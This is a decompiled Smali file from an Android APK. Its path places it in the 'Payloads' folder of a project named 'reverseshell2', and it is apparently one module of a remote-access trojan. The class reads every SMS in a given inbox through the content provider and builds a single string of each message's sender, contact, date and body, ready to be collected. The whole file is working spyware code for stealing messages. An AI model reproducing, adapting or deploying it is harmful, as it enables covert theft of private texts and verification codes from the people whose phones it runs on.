Path: blob/master/Compiled_apk/smali/com/example/reverseshell2/Payloads/readSMS.smali
3990 views
.class public Lcom/example/reverseshell2/Payloads/readSMS;
.super Ljava/lang/Object;
.source "readSMS.java"
# instance fields
.field context:Landroid/content/Context;
# direct methods
.method public constructor <init>(Landroid/content/Context;)V
.locals 0
.param p1, "context" # Landroid/content/Context;
.line 12
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
.line 13
iput-object p1, p0, Lcom/example/reverseshell2/Payloads/readSMS;->context:Landroid/content/Context;
.line 14
return-void
.end method
# virtual methods
.method public readSMSBox(Ljava/lang/String;)Ljava/lang/String;
.locals 17
.param p1, "box" # Ljava/lang/String;
.line 18
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
const-string v1, "content://sms/"
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-object/from16 v1, p1
invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v8
.line 19
.local v8, "SMSURI":Landroid/net/Uri;
move-object/from16 v9, p0
iget-object v0, v9, Lcom/example/reverseshell2/Payloads/readSMS;->context:Landroid/content/Context;
invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
move-result-object v2
const/4 v4, 0x0
const/4 v5, 0x0
const/4 v6, 0x0
const/4 v7, 0x0
move-object v3, v8
invoke-virtual/range {v2 .. v7}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
move-result-object v2
.line 20
.local v2, "cur":Landroid/database/Cursor;
const-string v3, ""
.line 22
.local v3, "sms":Ljava/lang/String;
:try_start_0
invoke-interface {v2}, Landroid/database/Cursor;->moveToFirst()Z
move-result v0
if-eqz v0, :cond_1
.line 23
const/4 v0, 0x0
.local v0, "i":I
:goto_0
invoke-interface {v2}, Landroid/database/Cursor;->getCount()I
move-result v4
:try_end_0
.catch Ljava/lang/NullPointerException; {:try_start_0 .. :try_end_0} :catch_0
const-string v5, "\n"
if-ge v0, v4, :cond_0
.line 24
:try_start_1
invoke-static {v0}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
move-result-object v4
.line 25
.local v4, "iterator":Ljava/lang/String;
const-string v6, "address"
invoke-interface {v2, v6}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v6
invoke-interface {v2, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v6
.line 26
.local v6, "number":Ljava/lang/String;
const-string v7, "date"
invoke-interface {v2, v7}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v7
invoke-interface {v2, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v7
.line 27
.local v7, "date":Ljava/lang/String;
const-string v10, "person"
invoke-interface {v2, v10}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v10
invoke-interface {v2, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v10
.line 28
.local v10, "person":Ljava/lang/String;
invoke-static {v7}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
move-result-wide v11
invoke-static {v11, v12}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v11
.line 29
.local v11, "epoch":Ljava/lang/Long;
new-instance v12, Ljava/util/Date;
invoke-virtual {v11}, Ljava/lang/Long;->longValue()J
move-result-wide v13
const-wide/16 v15, 0x3e8
mul-long v13, v13, v15
invoke-direct {v12, v13, v14}, Ljava/util/Date;-><init>(J)V
.line 30
.local v12, "fDate":Ljava/util/Date;
invoke-virtual {v12}, Ljava/util/Date;->toString()Ljava/lang/String;
move-result-object v13
move-object v7, v13
.line 31
const-string v13, "body"
invoke-interface {v2, v13}, Landroid/database/Cursor;->getColumnIndexOrThrow(Ljava/lang/String;)I
move-result v13
invoke-interface {v2, v13}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
move-result-object v13
.line 32
.local v13, "body":Ljava/lang/String;
new-instance v14, Ljava/lang/StringBuilder;
invoke-direct {v14}, Ljava/lang/StringBuilder;-><init>()V
const-string v15, "#"
invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v15, "\nNumber : "
invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v15, "\nPerson : "
invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
const-string v15, "\nDate : "
invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
const-string v15, "\nBody : "
invoke-virtual {v14, v15}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v14}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v14
.line 33
.local v14, "fi":Ljava/lang/String;
new-instance v15, Ljava/lang/StringBuilder;
invoke-direct {v15}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v15, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v15, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v15, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v15}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v5
move-object v3, v5
.line 35
invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
.line 23
nop
.end local v4 # "iterator":Ljava/lang/String;
.end local v6 # "number":Ljava/lang/String;
.end local v7 # "date":Ljava/lang/String;
.end local v10 # "person":Ljava/lang/String;
.end local v11 # "epoch":Ljava/lang/Long;
.end local v12 # "fDate":Ljava/util/Date;
.end local v13 # "body":Ljava/lang/String;
.end local v14 # "fi":Ljava/lang/String;
add-int/lit8 v0, v0, 0x1
goto/16 :goto_0
.line 37
.end local v0 # "i":I
:cond_0
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
:try_end_1
.catch Ljava/lang/NullPointerException; {:try_start_1 .. :try_end_1} :catch_0
move-object v3, v0
.line 41
:cond_1
nop
.line 42
return-object v3
.line 39
:catch_0
move-exception v0
.line 40
.local v0, "npe":Ljava/lang/NullPointerException;
const-string v4, ""
return-object v4
.end method